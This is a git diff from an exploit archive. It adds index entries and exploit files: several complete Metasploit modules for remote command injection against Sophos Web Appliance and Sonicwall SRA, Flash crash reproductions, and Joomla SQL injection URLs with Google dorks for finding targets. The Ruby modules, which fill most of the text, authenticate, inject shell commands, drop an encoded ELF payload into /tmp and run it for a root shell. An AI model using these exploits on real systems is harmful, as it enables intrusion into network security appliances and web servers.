diff --git a/files.csv b/files.csv index 025b36f6a..6ad985f3f 100644 --- a/files.csv +++ b/files.csv @@ -5372,6 +5372,13 @@ id,file,description,date,author,platform,type,port 41365,platforms/windows/dos/41365.txt,"NVIDIA Driver 375.70 - Buffer Overflow in Command Buffer Submission",2017-02-15,"Google Security Research",windows,dos,0 41367,platforms/windows/dos/41367.txt,"GOM Player 2.3.10.5266 - '.fpx' Denial of Service",2017-02-15,"Peter Baris",windows,dos,0 41369,platforms/hardware/dos/41369.txt,"Cisco ASA - WebVPN CIFS Handling Buffer Overflow",2017-02-15,"Google Security Research",hardware,dos,0 +41417,platforms/windows/dos/41417.txt,"Microsoft Office PowerPoint 2010 - 'MSO!Ordinal5429' Missing Length Check Heap Corruption",2017-02-21,"Google Security Research",windows,dos,0 +41418,platforms/windows/dos/41418.txt,"Microsoft Office PowerPoint 2010 - MSO/OART Heap Out-of-Bounds Access",2017-02-21,"Google Security Research",windows,dos,0 +41419,platforms/windows/dos/41419.txt,"Microsoft Office PowerPoint 2010 GDI - 'GDI32!ConvertDxArray' Insufficient Bounds Check",2017-02-21,"Google Security Research",windows,dos,0 +41420,platforms/multiple/dos/41420.txt,"Adobe Flash - MP4 AMF Parsing Overflow",2017-02-21,"Google Security Research",multiple,dos,0 +41421,platforms/multiple/dos/41421.txt,"Adobe Flash - SWF Stack Corruption",2017-02-21,"Google Security Research",multiple,dos,0 +41422,platforms/multiple/dos/41422.txt,"Adobe Flash - Use-After-Free in Applying Bitmap Filter",2017-02-21,"Google Security Research",multiple,dos,0 +41423,platforms/multiple/dos/41423.txt,"Adobe Flash - YUVPlane Decoding Heap Overflow",2017-02-21,"Google Security Research",multiple,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -37320,3 +37327,17 @@ id,file,description,date,author,platform,type,port 41400,platforms/php/webapps/41400.txt,"Joomla! Component PayPal IPN for DOCman 3.1 - 'id' Parameter SQL Injection",2017-02-20,"Ihsan Sencan",php,webapps,0 41401,platforms/ios/webapps/41401.txt,"Album Lock 4.0 iOS - Directory Traversal",2017-02-20,Vulnerability-Lab,ios,webapps,0 41402,platforms/hardware/webapps/41402.txt,"Tenda N3 Wireless N150 Home Router - Authentication Bypass",2015-09-03,"Mandeep Jadon",hardware,webapps,0 +41404,platforms/hardware/webapps/41404.html,"DIGISOL DG-HR1400 Wireless Router - Cross-Site Request Forgery",2017-02-21,Indrajith.A.N,hardware,webapps,0 +41405,platforms/php/webapps/41405.txt,"Joomla! Component J-HotelPortal 6.0.2 - 'review_id' Parameter SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41406,platforms/php/webapps/41406.txt,"Joomla! Component J-CruiseReservation Standard 3.0 - 'city' Parameter SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41407,platforms/php/webapps/41407.txt,"Joomla! Component Eventix Events Calendar 1.0 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41408,platforms/php/webapps/41408.txt,"Joomla! Component J-MultipleHotelReservation Standard 6.0.2 - 'review_id' Parameter SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41409,platforms/php/webapps/41409.txt,"Joomla! Component Directorix Directory Manager 1.1.1 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41410,platforms/php/webapps/41410.txt,"Joomla! Component Magic Deals Web 1.2.0 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41411,platforms/php/webapps/41411.txt,"Joomla! Component J-BusinessDirectory 4.6.8 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41412,platforms/php/webapps/41412.txt,"Joomla! Component AppointmentBookingPro 4.0.1 - SQL Injection",2017-02-21,"Ihsan Sencan",php,webapps,0 +41413,platforms/hardware/webapps/41413.rb,"Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit)",2016-12-12,xort,hardware,webapps,0 +41414,platforms/hardware/webapps/41414.rb,"Sophos Web Appliance 4.2.1.3 - DiagnosticTools Remote Command Injection (Metasploit)",2016-12-12,xort,hardware,webapps,0 +41415,platforms/hardware/webapps/41415.rb,"Sonicwall 8.1.0.2-14sv - 'extensionsettings.cgi' Remote Command Injection (Metasploit)",2016-12-25,xort,hardware,webapps,0 +41416,platforms/hardware/webapps/41416.rb,"Sonicwall 8.1.0.2-14sv - 'viewcert.cgi' Remote Command Injection (Metasploit)",2016-12-24,xort,hardware,webapps,0 +41424,platforms/php/webapps/41424.rb,"AlienVault OSSIM/USM <= 5.3.1 - Remote Code Execution (Metasploit)",2017-01-31,"Mehmet Ince",php,webapps,0 diff --git a/platforms/hardware/webapps/41404.html b/platforms/hardware/webapps/41404.html new file mode 100755 index 000000000..e4512046c --- /dev/null +++ b/platforms/hardware/webapps/41404.html @@ -0,0 +1,33 @@ + + Digisol Router CSRF Exploit - Indrajith A.N +
+ + + + diff --git a/platforms/hardware/webapps/41413.rb b/platforms/hardware/webapps/41413.rb new file mode 100755 index 000000000..01f300856 --- /dev/null +++ b/platforms/hardware/webapps/41413.rb @@ -0,0 +1,176 @@ +# Exploit Title: Sophos Web Appliance UnBlock/Block-IP Remote Command Injection Vulnerablity +# Date: 12/12/2016 +# Exploit Author: xort @ Critical Start +# Vendor Homepage: www.sophos.com +# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx +# Version: 4.2.1.3 +# Tested on: 4.2.1.3 +# +# CVE : CVE-2016-9553 + +# vuln 1: unblockip parameter / MgrReport.php exploit +# vuln 2: blockip parameter / MgrReport.php exploit + +# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. +# +# xort @ Critical Start + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Appliace <= v4.2.1.3 block/unblock remote exploit', + 'Description' => %q{ + This module exploits two 2 seperate remote command injecection vulnerabilities in + the Sophos Web Appliace Version <= v4.2.1.3 the web administration interface. + By sending a specially crafted request it's possible to inject system + commands + }, + 'Author' => + [ + 'xort', # vuln + metasploit module + ], + 'Version' => '$Revision: 2 $', + 'References' => + [ + [ 'none', 'none'], + ], + 'Platform' => [ 'linux'], + 'Privileged' => true, + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + } + }, + + 'Targets' => + [ + [ + 'blockip method', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'VulnName' => 'blockip', + 'VulnNum' => '1', + }, + ], + [ + 'unblockip method', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'VulnName' => 'unblockip', + 'VulnNum' => '2', + }, + ], + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('PASSWORD', [ false, 'Device password', "" ]), + OptString.new('USERNAME', [ true, 'Device password', "admin" ]), + OptString.new('CMD', [ false, 'Command to execute', "" ]), + Opt::RPORT(443), + ], self.class) + end + + + def do_login(username, password_clear) + vprint_status( "Logging into machine with credentials...\n" ) + + # vars + timeout = 11550; + style_key = Rex::Text.rand_text_hex(32) + + # send request + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => "/index.php", + 'vars_get' => { + 'c' => 'login', + }, + 'vars_post' => + { + + 'STYLE' => style_key, + 'destination' => '', + 'username' => username, + 'password' => password_clear, + } + }, timeout) + + return style_key + end + + def run_command(username, style_password, cmd) + vprint_status( "Running Command...\n" ) + + # random attack method from calling methods into + calling_commands = [ 'report','trend_volume','trend_suspect','top_app_ctrl','perf_latency','perf_throughput','users_browse_summary','traf_sites','traf_blocked','traf_users','users_virus_downloaders','users_pua_downloaders','users_highrisk','users_policy_violators','users_top_users_by_browse_time','users_quota','users_browse_time_by_user','users_top_users_by_category','users_site_visits_by_user','users_category_visits_by_user','users_monitored_search_queries','users_app_ctrl','traf_category','traf_download' ,'warned_sites' ] + + # select random calling page that calls the vulnerable page MgrReport.php where the vulns are + attack_method = calling_commands[rand(calling_commands.length)] + + # random filename to dump too + 'tmp' HAS to be here. + b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4)) + + vprint_status( "Attacking Vuln #" + target['VulnNum']+ " - " + target['VulnName'] + " with " + attack_method + "command method" ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/index.php?c=trend_suspect&' + target['VulnName'] + '=1.2.3.6`'+ cmd +'`&STYLE='+style_password + }) + + end + + def exploit + # timeout + timeout = 1550; + + # params + password_clear = datastore['PASSWORD'] + user = datastore['USERNAME'] + + style_hash = do_login(user, password_clear) + + vprint_status("STATUS hash authenticated: #{style_hash}\n") + + sleep(5) + + #if no 'CMD' string - add code for root shell + if not datastore['CMD'].nil? and not datastore['CMD'].empty? + + cmd = datastore['CMD'] + + # Encode cmd payload + encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + # kill stale calls to bdump from previous exploit calls for re-use + run_command(user, style_hash, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" )) + else + # Encode payload to ELF file for deployment + elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2') + + # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) + run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m")) + # wait for magic + handler + + end + + + end +end diff --git a/platforms/hardware/webapps/41414.rb b/platforms/hardware/webapps/41414.rb new file mode 100755 index 000000000..2dda1497e --- /dev/null +++ b/platforms/hardware/webapps/41414.rb @@ -0,0 +1,168 @@ +# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity +# Date: 12/12/2016 +# Exploit Author: xort @ Critical Start +# Vendor Homepage: www.sophos.com +# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx +# Version: 4.2.1.3 +# Tested on: 4.2.1.3 +# +# CVE : CVE-2016-9554 + +# vuln: diagnostic_tools command / host parameter / MgrReport.php exploit + +# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. +# +# xort @ Critical Start + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Appliace <= v4.2.1.3 remote exploit', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in + the Sophos Web Appliace Version <= v4.2.1.3. The vulnerability exist in + a section of the machine's adminstrative infertface for performing diagnostic + network test with wget and unsanitized unser supplied information. + }, + 'Author' => + [ + 'xort@Critical Start', # vuln + metasploit module + ], + 'Version' => '$Revision: 1 $', + 'References' => + [ + [ 'none', 'none'], + ], + 'Platform' => [ 'linux'], + 'Privileged' => true, + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + } + }, + + 'Targets' => + [ + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('PASSWORD', [ false, 'Device password', "" ]), + OptString.new('USERNAME', [ true, 'Device password', "admin" ]), + OptString.new('CMD', [ false, 'Command to execute', "" ]), + Opt::RPORT(443), + ], self.class) + end + + def do_login(username, password_clear) + vprint_status( "Logging into machine with credentials...\n" ) + + # vars + timeout = 1550; + style_key = Rex::Text.rand_text_hex(32) + + # send request + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => "/index.php", + 'vars_get' => { + 'c' => 'login', + }, + 'vars_post' => + { + + 'STYLE' => style_key, + 'destination' => '', + 'section' => '', + 'username' => username, + 'password' => password_clear, + } + }, timeout) + + return style_key + end + + def run_command(username, style_password, cmd) + + vprint_status( "Running Command...\n" ) + + # send request with payload + res = send_request_cgi({ + 'method' => 'POST', + 'vars_post' => { + 'action' => 'wget', + 'section' => 'configuration', + 'STYLE' => style_password , + 'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`', + }, + 'vars_get' => { + 'c' => 'diagnostic_tools', + }, + }) + + end + + + def exploit + # timeout + timeout = 1550; + + # params + password_clear = datastore['PASSWORD'] + user = datastore['USERNAME'] + + # do authentication + style_hash = do_login(user, password_clear) + + vprint_status("STATUS hash authenticated: #{style_hash}\n") + + # pause to let things run smoothly + sleep(5) + + #if no 'CMD' string - add code for root shell + if not datastore['CMD'].nil? and not datastore['CMD'].empty? + + cmd = datastore['CMD'] + + # Encode cmd payload + encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + # kill stale calls to bdump from previous exploit calls for re-use + run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" )) + else + # Encode payload to ELF file for deployment + elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2') + + # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) + run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m")) + + # wait for magic + handler + + end + + + end +# sophox-release +end diff --git a/platforms/hardware/webapps/41415.rb b/platforms/hardware/webapps/41415.rb new file mode 100755 index 000000000..4bb2f6710 --- /dev/null +++ b/platforms/hardware/webapps/41415.rb @@ -0,0 +1,208 @@ +# Exploit Title: Sonicwall extensionsettings scriptname Remote Command Injection Vulnerablity +# Date: 12/25/2016 +# Exploit Author: xort @ Critical Start +# Vendor Homepage: www.sonicwall.com +# Software Link: sonicwall.com/products/sra-virtual-appliance +# Version: 8.1.0.2-14sv +# Tested on: 8.1.0.2-14sv +# +# CVE : (awaiting cve) + +# vuln: extensionsettings.cgi / scriptfile (filename) parameter / + +# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. +# +# xort @ Critical Start + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in + the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in + a section of the machine's adminstrative infertface for performing configurations + related to on-connect scripts to be launched for users's connecting. + }, + 'Author' => + [ + 'xort@Critical Start', # vuln + metasploit module + ], + 'Version' => '$Revision: 1 $', + 'References' => + [ + [ 'none', 'none'], + ], + 'Platform' => [ 'linux'], + 'Privileged' => true, + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + } + }, + + 'Targets' => + [ + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('PASSWORD', [ false, 'Device password', "" ]), + OptString.new('USERNAME', [ true, 'Device password', "admin" ]), + OptString.new('CMD', [ false, 'Command to execute', "" ]), + Opt::RPORT(443), + ], self.class) + end + + def do_login(username, password_clear) + vprint_status( "Logging into machine with credentials...\n" ) + + # vars + timeout = 1550; + style_key = Rex::Text.rand_text_hex(32) + + # send request + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => "/cgi-bin/userLogin", + 'headers' => { + 'Connection' => 'close', + 'Content-Type' => 'application/x-www-form-urlencoded', + 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0', + }, + 'vars_post' => { + 'username' => username, + 'password' => password_clear, + 'domain' => 'LocalDomain', + 'loginButton' => 'Login', + 'state' => 'login', + 'login' => 'true', + 'VerifyCert' => '0', + 'portalname' => 'VirtualOffice', + 'ajax' => 'true' + }, + }, timeout) + + swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0] + + return swap + end + + def run_command_spliced(username, swap_cookie, cmd) + + vprint_status( "Running Command...\n" ) + + # send request with payload + res = send_request_cgi({ + 'method' => 'GET', +# 'uri' => "/cgi-bin/diagnostics?currentTSREmailTo=|#{cmd}|x&tsrEmailCurrent=true", + 'uri' => "/cgi-bin/diagnostics", + 'vars_get' => { + 'tsrEmailCurrent' => 'true', + 'currentTSREmailTo' => '|'+cmd+'|x', + }, + 'headers' => { + 'Cookie' => 'swap='+swap_cookie+';', + 'Content-Type' => 'text/plain; charset="iso-8859-1"', + 'Connection' => 'close', + }, + }, 30 ) + + end + + def run_command(username, swap_cookie, cmd) + + write_mode = ">" + dump_file = "/tmp/qq" + + # base64 - encode with base64 so we can send special chars and multiple lines + #cmd_encoded = Base64.strict_encode64(cmd) + + cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + vprint_status("cmd_encoded = #{cmd_encoded}") + + for cmd_chunk in cmd_encoded.split(/(....................................................................................................)/) + + cmd_new = "printf%20\"#{cmd_chunk}\"#{write_mode}#{dump_file}" + #cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}".gsub("+", "_") + + # set to normal append for loops after the first round + if write_mode == ">" + write_mode = ">>" + end + + # add cmd to array to be exected later + run_command_spliced(username, swap_cookie, cmd_new) + + end + + # execute payload stored at dump_file + + run_command_spliced(username, swap_cookie, "chmod%20777%20/tmp/qq;sh%20/tmp/qq") + + end + + def exploit + # timeout + timeout = 1550; + + # params + password_clear = datastore['PASSWORD'] + user = datastore['USERNAME'] + + # do authentication + swap_cookie = do_login(user, password_clear) + + vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n") + + #if no 'CMD' string - add code for root shell + if not datastore['CMD'].nil? and not datastore['CMD'].empty? + + cmd = datastore['CMD'] + + # Encode cmd payload + encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + vprint_status("encoded_cmd = #{encoded_cmd}") + + # kill stale calls to bdump from previous exploit calls for re-use + run_command(user, swap_cookie, ("sudo /bin/rm -f /tmp/n;printf \"#{encoded_cmd}\">/tmp/n;chmod +rx /tmp/n;/tmp/n" )) + else + # Encode payload to ELF file for deployment + elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + vprint_status("encoded_elf = #{encoded_elf}") + + # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) + run_command(user, swap_cookie, ("echo -e \"#{encoded_elf}\"\>/tmp/m\;chmod +rx /tmp/m\;/tmp/m")) + + + # wait for magic + handler + + end + + + end +# sophox-release +end diff --git a/platforms/hardware/webapps/41416.rb b/platforms/hardware/webapps/41416.rb new file mode 100755 index 000000000..dc74edb51 --- /dev/null +++ b/platforms/hardware/webapps/41416.rb @@ -0,0 +1,195 @@ +# Exploit Title: Sonicwall viewcert.cgi CGI Remote Command Injection Vulnerablity +# Date: 12/24/2016 +# Exploit Author: xort @ Critical Start +# Vendor Homepage: www.sonicwall.com +# Software Link: sonicwall.com/products/sra-virtual-appliance +# Version: 8.1.0.2-14sv +# Tested on: 8.1.0.2-14sv +# +# CVE : (awaiting cve) + +# vuln: viewcert.cgi / CERT parameter + +# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. +# +# xort @ Critical Start + + + + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv viewcert.cgi remote exploit', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in + the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in + a section of the machine's adminstrative infertface for performing configurations + related to on-connect scripts to be launched for users's connecting. + }, + 'Author' => + [ + 'xort@Critical Start', # vuln + metasploit module + ], + 'Version' => '$Revision: 1 $', + 'References' => + [ + [ 'none', 'none'], + ], + 'Platform' => [ 'linux'], + 'Privileged' => true, + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell' ], + 'Privileged' => false, + + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + } + }, + + 'Targets' => + [ + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('PASSWORD', [ false, 'Device password', "" ]), + OptString.new('USERNAME', [ true, 'Device password', "admin" ]), + OptString.new('CMD', [ false, 'Command to execute', "" ]), + Opt::RPORT(443), + ], self.class) + end + + def do_login(username, password_clear) + vprint_status( "Logging into machine with credentials...\n" ) + + # vars + timeout = 1550; + + # send request + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => "/cgi-bin/userLogin", + 'headers' => { + 'Connection' => 'close', + 'Content-Type' => 'application/x-www-form-urlencoded', + 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0', + }, + 'vars_post' => { + 'username' => username, + 'password' => password_clear, + 'domain' => 'LocalDomain', + 'loginButton' => 'Login', + 'state' => 'login', + 'login' => 'true', + 'VerifyCert' => '0', + 'portalname' => 'VirtualOffice', + 'ajax' => 'true' + }, + }, timeout) + + swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0] + + return swap + end + + + def run_command(swap_cookie, cmd) + + # vars + timeout = 1550; + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/cgi-bin/viewcert", + 'data' => "buttontype=delete&CERT=newcert-1`#{cmd}`", + 'headers' => + { + 'Cookie' => "swap=#{swap_cookie}", + }, + }, timeout) + end + + def run_command_spliced(swap_cookie, cmd) + + write_mode = ">" + dump_file = "/tmp/qq" + reqs = 0 + + cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + for cmd_chunk in cmd_encoded.split(/(....................................)/) + + cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}" + reqs += 1 + + vprint_status("Running Command (#{reqs})\n") + + # set to normal append for loops after the first round + if write_mode == ">" + write_mode = ">>" + end + + # add cmd to array to be exected later + run_command(swap_cookie, cmd_new) + end +# vprint_status("Running Final Command ...\n") + + # execute payload stored at dump_file + run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq") + + end + + def exploit + # timeout + timeout = 1550; + + # params + password_clear = datastore['PASSWORD'] + user = datastore['USERNAME'] + + # do authentication + swap_cookie = do_login(user, password_clear) + + vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n") + + #if no 'CMD' string - add code for root shell + if not datastore['CMD'].nil? and not datastore['CMD'].empty? + + cmd = datastore['CMD'] + + # Encode cmd payload + encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + # kill stale calls to bdump from previous exploit calls for re-use + run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" )) + + else + # Encode payload to ELF file for deployment + elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') + + + run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m") + # wait for magic + handler + end + end +end diff --git a/platforms/multiple/dos/41420.txt b/platforms/multiple/dos/41420.txt new file mode 100755 index 000000000..20c33c451 --- /dev/null +++ b/platforms/multiple/dos/41420.txt @@ -0,0 +1,7 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1018 + +There is an overflow in MP4 AMF parsing. To reproduce, put the attached files on a server and visit http://127.0.0.1/LoadMP4.swf?file=unsigned.mp4. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41420.zip diff --git a/platforms/multiple/dos/41421.txt b/platforms/multiple/dos/41421.txt new file mode 100755 index 000000000..281e699a8 --- /dev/null +++ b/platforms/multiple/dos/41421.txt @@ -0,0 +1,7 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1013 + +The attached fuzzed swf causes stack corruption when it is loaded, likely due to the parsing of the SWF file. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41421.zip diff --git a/platforms/multiple/dos/41422.txt b/platforms/multiple/dos/41422.txt new file mode 100755 index 000000000..92149b0e4 --- /dev/null +++ b/platforms/multiple/dos/41422.txt @@ -0,0 +1,7 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1007 + +The attached swf causes a use-after-free in applying bitmap filters. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41422.zip diff --git a/platforms/multiple/dos/41423.txt b/platforms/multiple/dos/41423.txt new file mode 100755 index 000000000..b1cc6b175 --- /dev/null +++ b/platforms/multiple/dos/41423.txt @@ -0,0 +1,9 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1008 + +The attached FLV file causes a heap overflow in YUVPlane decoding. + +To reproduce, put LoadMP4.swf and yuvplane.flv on a server, and visit 127.0.0.1/LoadMP4.swf?file=yvplane.flv. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41423.zip diff --git a/platforms/php/webapps/41405.txt b/platforms/php/webapps/41405.txt new file mode 100755 index 000000000..06b28f191 --- /dev/null +++ b/platforms/php/webapps/41405.txt @@ -0,0 +1,18 @@ +# # # # # +# Exploit Title: Joomla! Component J-HotelPortal v6.0.2 - SQL Injection +# Google Dork: inurl:index.php?option=com_jhotelreservation +# Date: 21.02.2017 +# Vendor Homepage: http://www.cmsjunkie.com/ +# Software Buy: http://www.cmsjunkie.com/joomla-hotel-portal +# Demo: http://hoteldemo.cmsjunkie.com/j3/portal/ +# Version: 6.0.2 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?option=com_jhotelreservation&tmpl=component&task=hotelratings.printRating&view=hotelratings&review_id=[SQL] +# Etc... +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/41406.txt b/platforms/php/webapps/41406.txt new file mode 100755 index 000000000..b9790dd04 --- /dev/null +++ b/platforms/php/webapps/41406.txt @@ -0,0 +1,18 @@ +# # # # # +# Exploit Title: Joomla! Component J-CruiseReservation Standard v3.0 - SQL Injection +# Google Dork: inurl:index.php?option=com_jcruisereservation +# Date: 21.02.2017 +# Vendor Homepage: http://www.cmsjunkie.com/ +# Software Buy: http://www.cmsjunkie.com/ajax/index/options/product_id/58/ +# Demo: http://demo.cmsjunkie.com/cruise/ +# Version: 3.0 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/cruises/cruises?city=[SQL] +# Etc... +# # # # # diff --git a/platforms/php/webapps/41407.txt b/platforms/php/webapps/41407.txt new file mode 100755 index 000000000..4a9bae1f4 --- /dev/null +++ b/platforms/php/webapps/41407.txt @@ -0,0 +1,19 @@ +# # # # # +# Exploit Title: Joomla! Component Eventix Events Calendar v1.0 - SQL Injection +# Google Dork: inurl:index.php?option=com_eventix +# Date: 21.02.2017 +# Vendor Homepage: http://informafix.fr/ +# Software Buy: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/eventix-events-calendar/ +# Demo: http://demo.informafix.fr/index.php?option=com_eventix +# Version: 1.0 +# Tested on: Win7 x64, Kali Linux x64 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Mail : ihsan[@]ihsan[.]net +# # # # # +# SQL Injection/Exploit : +# http://localhost/[PATH]/index.php?option=com_eventix&view=eventsday&selected_date=2017-02-16&day=[SQL] +# http://localhost/[PATH]/index.php?option=com_eventix&view=eventsday&selected_date=[SQL] +# http://localhost/[PATH]/index.php?option=com_eventix&view=eventssearch&=[SQL] +# # # # # diff --git a/platforms/php/webapps/41408.txt b/platforms/php/webapps/41408.txt new file mode 100755 index 000000000..b1d4e97a2 --- /dev/null +++ b/platforms/php/webapps/41408.txt @@ -0,0 +1,18 @@ +# # # # # +# Exploit Title: Joomla! Component J-MultipleHotelReservation Standard v6.0.2 - SQL Injection +# Google Dork: inurl:index.php?option=com_jcruisereservation +# Date: 21.02.2017 +# Vendor Homepage: http://www.cmsjunkie.com/ +# 